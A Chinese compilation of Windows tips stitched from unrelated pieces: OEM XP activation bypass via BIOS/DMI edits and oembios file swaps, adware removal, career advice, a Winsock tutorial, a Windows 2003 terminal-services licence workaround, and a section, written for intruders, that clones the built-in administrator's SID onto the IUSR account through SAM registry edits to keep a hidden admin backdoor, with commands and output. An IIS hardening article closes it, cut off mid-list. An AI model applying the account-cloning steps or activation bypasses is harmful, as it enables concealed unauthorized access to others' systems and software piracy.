通过修改主板BIOS,来安装联想XP操作系统,具体修改方式和修改字节,网友们已经了解,但对于其它品牌机随带的XP安装系统,如何修改,请看:
1.联想: HOME/PRO通用
通过BIOS修改: 在BIOS任意地方加入"LEGEND Dragon"字符串,一般加入到BIOS Message哪里就可以了。注意大小写。
通过DMI修改: 也是在任意地方加入"LEGEND Dragon"字符串,不过不要动一些关键的值,比如CPU类型什么的,在那种地方改会让你得不偿失的。
2.清华同方: HOME/PRO通用
通过BIOS修改:在BIOS任意地方加入"THTF"字符串,加入到BIOS Message就可以了,和上面的联想是可以共存的。
通过DMI修改: 也是一样,加入"THTF"字符串到任意位置。
3.HP: HOME/PRO通用 不过PRO在某些KT333以前的VIA芯片组主板上不能用,是它本身的问题,提示“硬盘不能大于512GB”。
只能通过DMI修改,在System项里面把Manufacturer Name改成"Hewlett-Packard",在Base Board项里,同样把Manufacturer Name改成"Hewlett-Packard"。注意哦,执行HP恢复盘的标准恢复是要清空整个硬盘的,只想安装系统的请用Advanced模式来做。
4.其他一些问题
修改BIOS用相应的BIOS工具,AMI用AMIBCP修改,Award用MODBIN或MODBIN6来修改。最好在纯DOS下进行,否则可能出现保存不了的情况,MODBIN6不要用2.0beta版,会弄坏你的BIOS文件的。
修改DMI用DMICFG来修改,也必须在DOS下运行,比修改BIOS安全一些。推荐修改DMI,而不修改BIOS。
接下来就是HP PRO的问题了,这个恢复盘在检测硬盘的时候有一个小BUG,会和某些VIA主板有冲突,现象就是显示“硬盘不能大于512GB”,经过测试KT333没有这个问题,而比较老的KT133系列不论任何品牌都有这个问题。建议使用VIA主板的朋友不要使用HP PRO,除非你用KT333,其他芯片组的主板没有问题。
如何挑选各个厂商的OEM呢?我的建议是不用挑选!因为各个厂商的OEM差别很小,只在BIOS检测部分有差异,毕竟都是出自M$之手,安装任何厂商的都一样。不必再浪费时间下载了,手里有什么就装什么吧。
破解其他厂商的OEM的方法:安装前只要用上面几个厂商安装盘里的oembios.*这4个文件替换你想要安装的OEM光盘的i386下的相应文件就可以了。如果安装前没有替换,安装后提示激活,那么就用解压缩后的oembios.dat oembios.bin oembios.sig oembios.cat替换system32下面的相应文件就可以了。然后按照上面已知厂商的方法修改BIOS/DMI就行了,这样就省去了重新下载的麻烦。
十大流氓软件卸载方法
1.3721的卸载
首先,用3721自带的卸载功能卸载3721,但是这个3721网络实名插件是使用Rundll32.exe调用连接库的,系统无法终止Rundll32.exe进程,所以我们必须重新启动计算机,按 F8 进入安全模式(F8 只能按一次,千万不要多按!)之后,单击开始 → 运行 regedit.exe 打开注册表,进入:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除键:CnsMin,其键值为:Rundll32.exe C:WINNTDOWNLO~1CnsMin.dll,Rundll32
(如果是win98,这里的 C:WINNTDOWNLO~1 为 C:WINDOWSDOWNLO~1)
HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternetExplorerAdvancedOptions
删除整个目录:!CNS
这个目录在 Internet 选项 -> 高级 中加入了3721网络实名的选项。
HKEY_LOCAL_MACHINESOFTWARE3721 以及 HKEY_CURRENT_USERSoftware3721
删除整个目录:3721
注:如果您安装了3721的其它软件,如"极品飞猫"等,则应删除整个目录:
HKEY_LOCAL_MACHINESOFTWARE3721CnsMin 以及
HKEY_CURRENT_USERSoftware3721CnsMin
HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain
删除键:CNSEnable 其键值为:a2c39d5f
删除键:CNSHint 其键值为:a2c39d5f
删除键:CNSList 其键值为:a2c39d5f
在删除完注册表中的项之后,还需要删除存储在硬盘中的3721网络实名文件。
删除如下文件:
C:WINNTDOWNLO~1 目录下
(如果是win98,这里的 C:WINNTDOWNLO~1 为 C:WINDOWSDOWNLO~1 下同)
2001-08-09 15:34
3721
2001-08-02 17:03 40,960 cnsio.dll
2001-08-08 14:14 102,400 CnsMin.dll
2001-08-24 23:14 42 CnsMin.ini
2001-08-09 10:18 13,848 CnsMinEx.cab
2001-07-06 17:57 32,768 CnsMinEx.dll
2001-08-25 02:52 115 CnsMinEx.ini
2001-08-25 02:51 17,945 CnsMinIO.cab
2001-08-02 17:02 32,768 CnsMinIO.dll
2001-08-24 23:15 40,793 CnsMinUp.cab
C:WINNTDOWNLO~13721 目录下
2001-08-02 17:03 40,960 cnsio.dll
2001-08-24 15:53 102,400 CnsMin.dll
2001-07-06 17:59 213 CnsMin.inf
2001-08-24 15:48 28,672 CnsMinIO.dll
以上文件全部删除,这样3721网络实名"病毒"就从您的计算机中全部清除
了。
最后,重新启动计算机,进入正常模式。现在已经完全没有3721网络实名的
困扰了!
2.阻止"淘宝"网弹出窗口的办法
IE用户的免疫方法
如果系统是win 2000/XP/2003,请在"开始"→"运行"中输入:
notepad.exe %windir%\system32\drivers\etc\hosts
如果系统是win 98/me,请在"开始"→"运行"中输入:
notepad.exe %windir%\hosts
如果系统提示:
找不到文件hosts.txt是不是创建新的文件?请选择否
在最后添加如下内容:
#kill taobao
0.0.0.0 www.taobao.com
0.0.0.0 page.taobao.com
0.0.0.0 search.taobao.com
0.0.0.0 taobao.com
0.0.0.0 www.unionsky.cn #掏宝网广告代理
0.0.0.0 www.allyes.com #掏宝网广告代理
保存后,重启计算机即可。(XP/2003系统不需重启)
如果在前面操作遇到提示找不到文件hosts.txt,请按照以下步骤保存:
用菜单:文件–>另存为
在"文件另存为"对话框中,把文件类型改为"所有文件(*.*)"
再输入文件名:
如果系统是win 2000/XP/2003,请输入(建议复制粘贴):
%windir%\system32\drivers\etc\hosts
如果系统是win 98/me,请输入(建议复制粘贴):
%windir%\hosts
点[确定]按钮。
用My IE2、GreenBrowser、Maxthon屏蔽办法:
启动窗口过滤、网页内容过滤
把下列网页加入弹出窗口过滤、网页内容过滤列表:
http://*.unionsky.cn/*
http://*.unionsky.*/*.*
http://www.unionsky.cn/script/*
http://www.unionsky.cn/script/*.*
3.如何删除dudu加速器
第一次安装dudu后,在C:\Program Files下生成HDP文件夹;在进程里表现
出来的是MSHTA.exe和henbang.exe,分别对应的运行窗口和驻留在任务栏上的
henbang,启动项里会添加"很棒小秘书"(手动安装时会提示)。卸载它,先在
"添加/删除程序"里,发现有 HAP 和 很棒小秘书 ,直接执行卸载。
注意的是,先执行卸载"HAP",然后再执行卸载"很棒小秘书"。否则,
C:\Program Files\HDP依然存在,且程序完整,执行的删除没有完成。最后检查,
往system32里写入的三个文件(二个ini文件,一个hbhap.dll 文件),也成功删
除。
所以,如果大家电脑里有这个软件且一时无法卸载的或提示pupw.sys错误
的,可主动安装一次,然后按上面方法执行卸载。
另检查一下是否有C:\Program Files\HBClient,如果有,说明系统里还装有装
上 很棒通行证 ,可在添加删除里执行卸载 Henbang Passport 。
4.中文通用网址的卸载
首先进入安全模式。把C:\Program Files目录下的CNNIC目录给删除,然后打
开注册表编辑器。在运行-〉regedit,在安全模式下就可以删除这两个键值了。
在安全模式下把Run目录下的CdnCtr和ExFilter这两个键值删除。然后
对注册表进行查找。查找一切和CNNIC、cdnup.exe字符有关的键值和目录。统统
删除。OK。现在再重新启动机器。烦人的CNNIC终于离我而去了。不过CNNIC
这样被删除之后。好像会导致不能在IE窗口中输入中文。不知道有没有其它人碰
到这种情况。还有一个方法可以避免下次再次运行这个烦人的插件。新建一个文本
文件,内容如下:
REGEDIT4
#9A578C98-3C2F-4630-890B-FC04196EF420 /CNNIC
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{9A578C98-3C2F-4630-890B-FC04196EF420}]
"Compatibility Flags"=dword:00000400
保存为.reg的文件,然后双击执行此文件即可。
5."很棒小秘书"卸载方法
双击"c:\windows\system32"下的uninstall.exe 或者henbangkiller.exe 即可,
然后删除这两个文件和C:\Program Files\henbang文件夹。
如果你是xp sp2版,可以按照以下方法关闭它:
1:首先打开ie,然后选择"internet选项"
2:选择"程序"页,点击"管理加载项"
3:选中"UrlMonitor Class",选择禁用此项
4:OK了
最好运行msconfig将winup.exe的加载项去掉
木马 winup.exe 彻底删除方法
木马 winup.exe经常和"很棒小秘书"一同出现,所以也要一起清除。
1、 在IE的工具里点"管理加载项",禁用Downloadvalue Class , EyeOnIe Class ,
URLMonitor Class
2、在system32中运行一下henbangkiller.exe 再删除 winhtp.dll hap.dll
xpieknl.dll winup.exe
3、在注册表中删除
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run下的
winup 键
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run下
的 updata键
在msconfig里面还有一个可疑的东西:msstart.exe 在任务管理器里干掉
msstart的进程, 然后再到system32目录下delete掉msstart.exe这个文件。
6."网络猪"与"划词搜索"的卸载
网络猪与划词搜索虽然可以通过添加\删除软件进行卸载,但是总卸载不干
净,必须要手动删除安装目录。为此你首先需要卸载掉网络猪与划词搜索;然后单
击"开始"-"运行",输入"msconfig",回车后在弹出的窗口中选择"启动"
标签,在启动中找到"SEARCH.EXE",去除前边的勾选;按"Ctrl+Shift+ESC"
打开"任务管理器",在进程中结束"SEARCH.EXE";单击"开始"-"运
行",输入"regedit",打开注册表,搜索"SEARCH.EXE"的项值,删除相关的
项。最后删除整个安装目录。
7 eBay 易趣
详见常用反制工具
8 青娱乐聊天软件
控制面板→添加\删除程序 即可卸载
9 百度搜霸、百度超级搜霸
控制面板→添加\删除程序 即可卸载
10 一搜工具条
控制面板→添加\删除程序 即可卸载
一位老工程师给年轻人的“十大忠告”
1、好好规划自己的路,不要跟着感觉走;
根据个人的理想来安排自己的生活,绝大部分人并不指望成为什么院士或教授,而是希望活得滋润一些,痛快一些,那么就需要慎重安排自己的的轨 迹,从一个行业入手逐渐对该行业深入了解,不要频繁跳槽,特别是不要为了一点工资而转移阵地,从长远看,这点钱根本不算什么,当你对一个行业有那么几年的 体会以后,钱根本不是问题,频繁地动荡不是上策,最后你对哪个行业都没有摸透,永远是新手。
2、可以做技术的,切不可沉湎于技术;
千万不可一门心思钻营技术,给自己造成很多压力,如果你的心思全部放在上面那么注定你将成为孔乙己一类的人物,适可而止为之,因为技术只不过是你今后前途的支柱之一,而且还不是最大的支柱,除非你只愿意到老,还是个工程师。
3、不要去做技术高手,只去做综合素质高手;
在企业里工作,我们时常瞧不起某人,说他“什么都不懂,凭啥拿那么多钱,凭啥升官,”这是普遍的、典型的工程师的迂腐之言,你想想,老板搞经 营那么多年难道见识不如你这个新兵?人家或许善于管理,善于领会老板意图,善于部门协调等等等,因此务必培养自己多方面的能力,包括,管理,亲和力,公关 能力等要成为最综合素质的高手则前途无量,技术以外的技能才是更重要的本事,从古到今,一律如此。
4、多交“三教九流”的朋友;
不要只和工程师交往,认为有共同语言,其实更重要的是和其他类人物交往,如果你希望有朝一日当老板或高层管理者,那么你整日面对的就是这些 人。了解他们的经历,思维习惯,爱好,学习他处理问题的模式,了解社会各个角落的现象和问题,这是以后发展的巨大本钱,没有这些以后就会笨手笨脚,跌跌撞 撞,遇到重重困难,交不少学费的成功的概率大大降低。
5、知识涉猎不仅要专,还一定要广;
多看看其他方面的书,金融,财会,进出口,税务,法律等等为以后做一些积累的以后的用处会更大,会少交许多的学费。
6、抓住时机向技术管理或市场销售方面转变;
要想有前途就不能一直搞开发,适当时候要转变为管理和或销售的前途会更大,以前搞技术也没有白搞,以后还用得着,搞管理可以培养自己的领导能力,搞销售可以培养自己的市场概念和思维,同时为自己以后发展积累庞大的人脉,应该说这才是前途的真正支柱。
7、逐渐客户自己的心理弱点和性格缺陷;
多疑,敏感,犹豫不决,胆怯,多虑,这些工程师普遍存在的性格弱点必须改变,很难吗,只在床上想一想当然不可能改变,去帮朋友守一个月地摊,包准有效果,去实践,而不要只想,不克服这些缺点,一切不可能,甚至连项目经理都当不好,—尽管你可能技术不错。
8、工作的同时要为以后做准备,建立自己的工作的环境;
及早为自己配置一个工作环境,装备电脑,模拟器,编程器等,业余时间可以接点活,一方面接触市场,培养市场感觉,同时也积累资金,更重要的是 准备自己的产品,咱搞技术的没有钱,只有技术,技术的代表不是学历和证书,而是产品,拿出像样的产品,就可以技术转让或与人合作搞企业,先把东西准备好, 等待机会,否则,有了机会也抓不住。
9、要学会善于推销自己;
不仅要干,还要能说,能写,善于利用一切机会推销自己,树立自己的品牌形象,要创造条件让别了解自己,不然老板怎么知道你能干,外面的投资人 怎么相信你,提早把自己推销出去,机会自然会来找你,搞个个人主页是个好主意,特别是培养自己在行业的名气,有了名气,高薪机会自不在话下,更重要的是有 合作的机会。
10、该出手时便出手。
永远不可能有百分之百把握,条件差不多就要大胆去干,去闯出自己的事业,不要犹豫,不要彷徨,干了不一定成功,但至少为下一次冲击积累了经验,不干永远没出息,而且要干成必然要经历失败,不经历风雨,怎么见彩虹,没有人能随随便便成功。
Windows Socket API 使用经验
本文是我在进行MS-Windows、HP-Unix网络编程的实践过程中总结出来的一些经验,仅供大家参考。本文所谈到的Socket函数如果没有特别说明,都是指的Windows Socket API。
一、WSAStartup函数
int WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
使用Socket的程序在使用Socket之前必须调用WSAStartup函数。该函数的第一个参数指明程序请求使用的Socket版本, 其中高位字节指明副版本、低位字节指明主版本;操作系统利用第二个参数返回请求的Socket的版本信息。当一个应用程序调用WSAStartup函数 时,操作系统根据请求的Socket版本来搜索相应的Socket库,然后绑定找到的Socket库到该应用程序中。以后应用程序就可以调用所请求的 Socket库中的其它Socket函数了。该函数执行成功后返回0。
例:假如一个程序要使用2.1版本的Socket,那么程序代码如下
wVersionRequested = MAKEWORD( 2, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
二、WSACleanup函数
int WSACleanup (void);
应用程序在完成对请求的Socket库的使用后,要调用WSACleanup函数来解除与Socket库的绑定并且释放Socket库所占用的系统资源。
三、socket函数
SOCKET socket(
int af,
int type,
int protocol
);
应用程序调用socket函数来创建一个能够进行网络通信的套接字。第一个参数指定应用程序使用的通信协议的协议族,对于TCP/IP协议 族,该参数置PF_INET;第二个参数指定要创建的套接字类型,流套接字类型为SOCK_STREAM、数据报套接字类型为SOCK_DGRAM;第三 个参数指定应用程序所使用的通信协议。该函数如果调用成功就返回新创建的套接字的描述符,如果失败就返回INVALID_SOCKET。套接字描述符是一 个整数类型的值。每个进程的进程空间里都有一个套接字描述符表,该表中存放着套接字描述符和套接字数据结构的对应关系。该表中有一个字段存放新创建的套接 字的描述符,另一个字段存放套接字数据结构的地址,因此根据套接字描述符就可以找到其对应的套接字数据结构。每个进程在自己的进程空间里都有一个套接字描 述符表但是套接字数据结构都是在操作系统的内核缓冲里。下面是一个创建流套接字的例子:
struct protoent *ppe;
ppe=getprotobyname("tcp");
SOCKET ListenSocket=socket(PF_INET,SOCK_STREAM,ppe->p_proto);
四、closesocket函数
int closesocket(
SOCKET s
);
closesocket函数用来关闭一个描述符为s套接字。由于每个进程中都有一个套接字描述符表,表中的每个套接字描述符都对应了一个位于 操作系统缓冲区中的套接字数据结构,因此有可能有几个套接字描述符指向同一个套接字数据结构。套接字数据结构中专门有一个字段存放该结构的被引用次数,即 有多少个套接字描述符指向该结构。当调用closesocket函数时,操作系统先检查套接字数据结构中的该字段的值,如果为1,就表明只有一个套接字描 述符指向它,因此操作系统就先把s在套接字描述符表中对应的那条表项清除,并且释放s对应的套接字数据结构;如果该字段大于1,那么操作系统仅仅清除s在 套接字描述符表中的对应表项,并且把s对应的套接字数据结构的引用次数减1。
closesocket函数如果执行成功就返回0,否则返回SOCKET_ERROR。
五、send函数
int send(
SOCKET s,
const char FAR *buf,
int len,
int flags
);
不论是客户还是服务器应用程序都用send函数来向TCP连接的另一端发送数据。客户程序一般用send函数向服务器发送请求,而服务器则通 常用send函数来向客户程序发送应答。该函数的第一个参数指定发送端套接字描述符;第二个参数指明一个存放应用程序要发送数据的缓冲区;第三个参数指明 实际要发送的数据的字节数;第四个参数一般置0。这里只描述同步Socket的send函数的执行流程。当调用该函数时,send先比较待发送数据的长度 len和套接字s的发送缓冲区的长度,如果len大于s的发送缓冲区的长度,该函数返回SOCKET_ERROR;如果len小于或者等于s的发送缓冲区 的长度,那么send先检查协议是否正在发送s的发送缓冲中的数据,如果是就等待协议把数据发送完,如果协议还没有开始发送s的发送缓冲中的数据或者s的 发送缓冲中没有数据,那么send就比较s的发送缓冲区的剩余空间和len,如果len大于剩余空间大小send就一直等待协议把s的发送缓冲中的数据发 送完,如果len小于剩余空间大小send就仅仅把buf中的数据copy到剩余空间里(注意并不是send把s的发送缓冲中的数据传到连接的另一端的, 而是协议传的,send仅仅是把buf中的数据copy到s的发送缓冲区的剩余空间里)。如果send函数copy数据成功,就返回实际copy的字节 数,如果send在copy数据时出现错误,那么send就返回SOCKET_ERROR;如果send在等待协议传送数据时网络断开的话,那么send 函数也返回SOCKET_ERROR。要注意send函数把buf中的数据成功copy到s的发送缓冲的剩余空间里后它就返回了,但是此时这些数据并不一 定马上被传到连接的另一端。如果协议在后续的传送过程中出现网络错误的话,那么下一个Socket函数就会返回SOCKET_ERROR。(每一个除 send外的Socket函数在执行的最开始总要先等待套接字的发送缓冲中的数据被协议传送完毕才能继续,如果在等待时出现网络错误,那么该Socket 函数就返回SOCKET_ERROR)
注意:在Unix系统下,如果send在等待协议传送数据时网络断开的话,调用send的进程会接收到一个SIGPIPE信号,进程对该信号的默认处理是进程终止。
六、recv函数
int recv(
SOCKET s,
char FAR *buf,
int len,
int flags
);
不论是客户还是服务器应用程序都用recv函数从TCP连接的另一端接收数据。该函数的第一个参数指定接收端套接字描述符;第二个参数指明一 个缓冲区,该缓冲区用来存放recv函数接收到的数据;第三个参数指明buf的长度;第四个参数一般置0。这里只描述同步Socket的recv函数的执 行流程。当应用程序调用recv函数时,recv先等待s的发送缓冲中的数据被协议传送完毕,如果协议在传送s的发送缓冲中的数据时出现网络错误,那么 recv函数返回SOCKET_ERROR,如果s的发送缓冲中没有数据或者数据被协议成功发送完毕后,recv先检查套接字s的接收缓冲区,如果s接收 缓冲区中没有数据或者协议正在接收数据,那么recv就一直等待,只到协议把数据接收完毕。当协议把数据接收完毕,recv函数就把s的接收缓冲中的数据 copy到buf中(注意协议接收到的数据可能大于buf的长度,所以在这种情况下要调用几次recv函数才能把s的接收缓冲中的数据copy完。 recv函数仅仅是copy数据,真正的接收数据是协议来完成的),recv函数返回其实际copy的字节数。如果recv在copy时出错,那么它返回 SOCKET_ERROR;如果recv函数在等待协议接收数据时网络中断了,那么它返回0。
注意:在Unix系统下,如果recv函数在等待协议接收数据时网络断开了,那么调用recv的进程会接收到一个SIGPIPE信号,进程对该信号的默认处理是进程终止。
七、bind函数
int bind(
SOCKET s,
const struct sockaddr FAR *name,
int namelen
);
当创建了一个Socket以后,套接字数据结构中有一个默认的IP地址和默认的端口号。一个服务程序必须调用bind函数来给其绑定一个IP 地址和一个特定的端口号。客户程序一般不必调用bind函数来为其Socket绑定IP地址和断口号。该函数的第一个参数指定待绑定的Socket描述 符;第二个参数指定一个sockaddr结构,该结构是这样定义的:
struct sockaddr {
u_short sa_family;
char sa_data[14];
};
sa_family指定地址族,对于TCP/IP协议族的套接字,给其置AF_INET。当对TCP/IP协议族的套接字进行绑定时,我们通常使用另一个地址结构:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
其中sin_family置AF_INET;sin_port指明端口号;sin_addr结构体中只有一个唯一的字段s_addr,表示 IP地址,该字段是一个整数,一般用函数inet_addr()把字符串形式的IP地址转换成unsigned long型的整数值后再置给s_addr。有的服务器是多宿主机,至少有两个网卡,那么运行在这样的服务器上的服务程序在为其Socket绑定IP地址时 可以把htonl(INADDR_ANY)置给s_addr,这样做的好处是不论哪个网段上的客户程序都能与该服务程序通信;如果只给运行在多宿主机上的 服务程序的Socket绑定一个固定的IP地址,那么就只有与该IP地址处于同一个网段上的客户程序才能与该服务程序通信。我们用0来填充 sin_zero数组,目的是让sockaddr_in结构的大小与sockaddr结构的大小一致。下面是一个bind函数调用的例子:
struct sockaddr_in saddr;
saddr.sin_family = AF_INET;
saddr.sin_port = htons(8888);
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(ListenSocket,(struct sockaddr *)&saddr,sizeof(saddr));
八、listen函数
int listen( SOCKET s, int backlog );
服务程序可以调用listen函数使其流套接字s处于监听状态。处于监听状态的流套接字s将维护一个客户连接请求队列,该队列最多容纳backlog个客户连接请求。假如该函数执行成功,则返回0;如果执行失败,则返回SOCKET_ERROR。
九、accept函数
SOCKET accept(
SOCKET s,
struct sockaddr FAR *addr,
int FAR *addrlen
);
服务程序调用accept函数从处于监听状态的流套接字s的客户连接请求队列中取出排在最前的一个客户请求,并且创建一个新的套接字来与客户 套接字创建连接通道,如果连接成功,就返回新创建的套接字的描述符,以后与客户套接字交换数据的是新创建的套接字;如果失败就返回 INVALID_SOCKET。该函数的第一个参数指定处于监听状态的流套接字;操作系统利用第二个参数来返回新创建的套接字的地址结构;操作系统利用第 三个参数来返回新创建的套接字的地址结构的长度。下面是一个调用accept的例子:
struct sockaddr_in ServerSocketAddr;
int addrlen;
addrlen=sizeof(ServerSocketAddr);
ServerSocket=accept(ListenSocket,(struct sockaddr *)&ServerSocketAddr,&addrlen);
十、connect函数
int connect(
SOCKET s,
const struct sockaddr FAR *name,
int namelen
);
客户程序调用connect函数来使客户Socket s与监听趎ame所指定的计算机的特定端口上的服务Socket进行连接。如果连接成功,connect返回0;如果失败则返回SOCKET_ERROR。下面是一个例子:
struct sockaddr_in daddr;
memset((void *)&daddr,0,sizeof(daddr));
daddr.sin_family=AF_INET;
daddr.sin_port=htons(8888);
daddr.sin_addr.s_addr=inet_addr("133.197.22.4");
connect(ClientSocket,(struct sockaddr *)&daddr,sizeof(daddr));
破解Win 2003终端服务许可证
用过windows server 2003做服务器的人都知道 windows2003的性能安全性比以前的windows版本高出很多,但是也带来很多麻烦。
其中服务器最重要的远程管理“终端服务”居然要求授权,要许可证,否则120天过期。其实这个问题很好解决按照一下方法就可以。
操作步骤:
1,如果你服务器上已经开着终端服务,控制面板→添加删除程序→添加/删除windows组件→删除终端服务和终端授权服务。
如下图(1)
这个时候回提示你从新启动计算机,请千万记住一定要点“否”,否则就麻烦了。
2、点我的电脑属性→远程→远程桌面→在启用这台计算机的远程桌面上打对勾→之后会得到提示,点确定就行→应用。
如下图(2)
3、从新启动计算机大功搞成,不用任何破解软件,轻松加愉快。
其实这个服务在WINDOWS2003安装完就有,大家可以注意2003在添加/删除服务的时候经常不用从安装盘的I386里读东西,嘿嘿…………
克隆操作系统中管理员帐号
经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似 乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些 过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。
首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的 500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选 择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下 的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。
运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http:// www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行– [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的 "1F4"修改为 IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装 IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"后执 行
regedit /s adam.reg
导入该Reg文件
然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)
OK,大功告成…
这样,我们拥有和默认管理员一样的桌面、一样的Profile…..
而且,当我们运行 net localgroup administrators 时,看看结果:
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
————————————————————————
Administrator
The command completed successfully.
再看看USER2SID的输出结果:
C:\>user2sid Administrator
S-1-5-21-1004336348-1078145449-854245398-500
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
C:\>user2sid iusr_machinename
S-1-5-21-1004336348-1078145449-854245398-1001
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
我想,再高明的管理员也看不到任何的异状了…而且,随便管理员改成什么密码,我照样可以用 IUSR_MachineName,密码为Sometips登陆…(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName 为其他的名字吧)
^_^,这算不算RootKit…
附:
1、感谢叮叮付出需要reinstall OS的代价…
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关,偶均不提供技术支持…
保护 IIS web 服务器的15个技巧
通常地,大多数Web站点的设计目标都是:以最易接受的方式,为访问者提供即时的信息访问。在过去的几年中,越来越多的黑客、病毒和蠕虫带来的安全问题严 重影响了网站的可访问性,尽管Apache服务器也常常是攻击者的目标,然而微软的Internet信息服务(IIS) Web服务器才是真正意义上的众矢之的。
高级教育机构往往无法在构建充满活力、界面友好的网站还是构建高安全性的网站之间找到平衡点。另外,它们现在必须致力于提高网站安全性以面对缩减中的技术预算 (其实许多它们的私有部门也面临着相似的局面)。
正因为如此,我在这里将为预算而头疼的大学IT经理们提供一些技巧,以帮助他们保护他们的IIS服务器。虽然主要是面对大学里的IT专业人员 的,但是这些技巧也基本上适用于希望通过少量的财政预算来提高安全性的IIS管理人员。实际上,这里面的一些技巧对拥有强大预算的IIS管理人员也是非常 有用的。
首先,开发一套安全策略
保护Web服务器的第一步是确保网络管理员清楚安全策略中的每一项制度。如果公司高层没有把服务器的安全看作是必须被保护的资产,那么保护工 作是完全没有意义的。这项工作需要长期的努力。如果预算不支持或者它不是长期IT战略的一部分,那么花费大量时间保护服务器安全的管理员将得不到管理层方 面的重要支持。
网络管理员为各方面资源建立安全性的直接结果是什么呢?一些特别喜欢冒险的用户将会被关在门外。那些用户随后会抱怨公司的管理层,管理层人员又会去质问网络管理员究竟发生了什么。那么,网络管理员没办法建立支持他们安全工作的文档,因此,冲突发生了。
通过标注Web服务器安全级别以及可用性的安全策略,网络管理员将能够从容地在不同的操作系统上部署各种软件工具。
IIS安全技巧
微软的产品一向是众矢之的,因此IIS服务器特别容易成为攻击者的靶子。搞清楚了这一点后,网络管理员必须准备执行大量的安全措施。我将要为你们提供的是一个清单,服务器操作员也许会发现这是非常有用的。
1. 保持Windows升级:
你必须在第一时间及时地更新所有的升级,并为系统打好一切补丁。考虑将所有的更新下载到你网络上的一个专用的服务器上,并在该机器上以Web的形式将文件发布出来。通过这些工作,你可以防止你的Web服务器接受直接的Internet访问。
2. 使用IIS防范工具:
这个工具有许多实用的优点,然而,请慎重的使用这个工具。如果你的Web服务器和其他服务器相互作用,请首先测试一下防范工具,以确定它已经被正确的配置,保证其不会影响Web服务器与其他服务器之间的通讯。
3. 移除缺省的Web站点:
很多攻击者瞄准inetpub这个文件夹,并在里面放置一些偷袭工具,从而造成服务器的瘫痪。防止这种攻击最简单的方法就是在IIS里将缺省 的站点禁用。然后,因为网虫们都是通过IP地址访问你的网站的 (他们一天可能要访问成千上万个IP地址),他们的请求可能遇到麻烦。将你真实的Web站点指向一个背部分区的文件夹,且必须包含安全的NTFS权限。
4. 如果你并不需要FTP和SMTP服务,请卸载它们:
进入计算机的最简单途径就是通过FTP访问。FTP本身就是被设计满足简单读/写访问的,如果你执行身份认证,你会发现你的用户名和密码都是通过明文的形式在网络上传播的。SMTP是另一种允许到文件夹的写权限的服务。通过禁用这两项服务,你能避免更多的黑客攻击。
5. 有规则地检查你的管理员组和服务:
有一天我进入我们的教室,发现在管理员组里多了一个用户。这意味着这时某个人已经成功地进入了你的系统,他或她可能冷不丁地将炸弹扔到你的系 统里,这将会突然摧毁你的整个系统,或者占用大量的带宽以便黑客使用。黑客同样趋向于留下一个帮助服务,一旦这发生了,采取任何措施可能都太晚了,你只能 重新格式化你的磁盘,从备份服务器恢复你每天备份的文件。因此,检查IIS服务器上的服务列表并保持尽量少的服务必须成为你每天的任务。你应该记住哪个服 务应该存在,哪个服务不应该存在。Windows 2000 Resource Kit带给我们一个有用的程序,叫作tlist.exe,它能列出每种情况运行在svchost 之下的服务。运行这个程序可以寻找到一些你想要知道的隐藏服务。给你一个提示:任何含有daemon几个字的服务可能不是Windows本身包含的服务, 都不应该存在于IIS服务器上。
6. 严格控制服务器的写访问权限:
这听起来很容易,然而,在大学校园里,一个Web服务器实际上是有很多"作者"的。教职人员都希望让他们的课堂信息能被远程学生访问。职 员们则希望与其他的职员共享他们的工作信息。服务器上的文件夹可能出现极其危险的访问权限。将这些信息共享或是传播出去的一个途径是安装第2个服务器以提 供专门的共享和存储目的,然后配置你的Web服务器来指向共享服务器。这个步骤能让网络管理员将Web服务器本身的写权限仅仅限制给管理员组。
7. 设置复杂的密码:
我最近进入到教室,从事件察看器里发现了很多可能的黑客。他或她进入了实验室的域结构足够深,以至于能够对任何用户运行密码破解工具。如果有 用户使用弱密码 (例如"password"或是 changeme"或者任何字典单词),那么黑客能快速并简单的入侵这些用户的账号。
8. 减少/排除Web服务器上的共享:
如果网络管理员是唯一拥有Web服务器写权限的人,就没有理由让任何共享存在。共享是对黑客最大的诱惑。此外,通过运行一个简单的循环批处理文件,黑客能够察看一个IP地址列表,利用\\命令寻找Everyone/完全控制权限的共享。
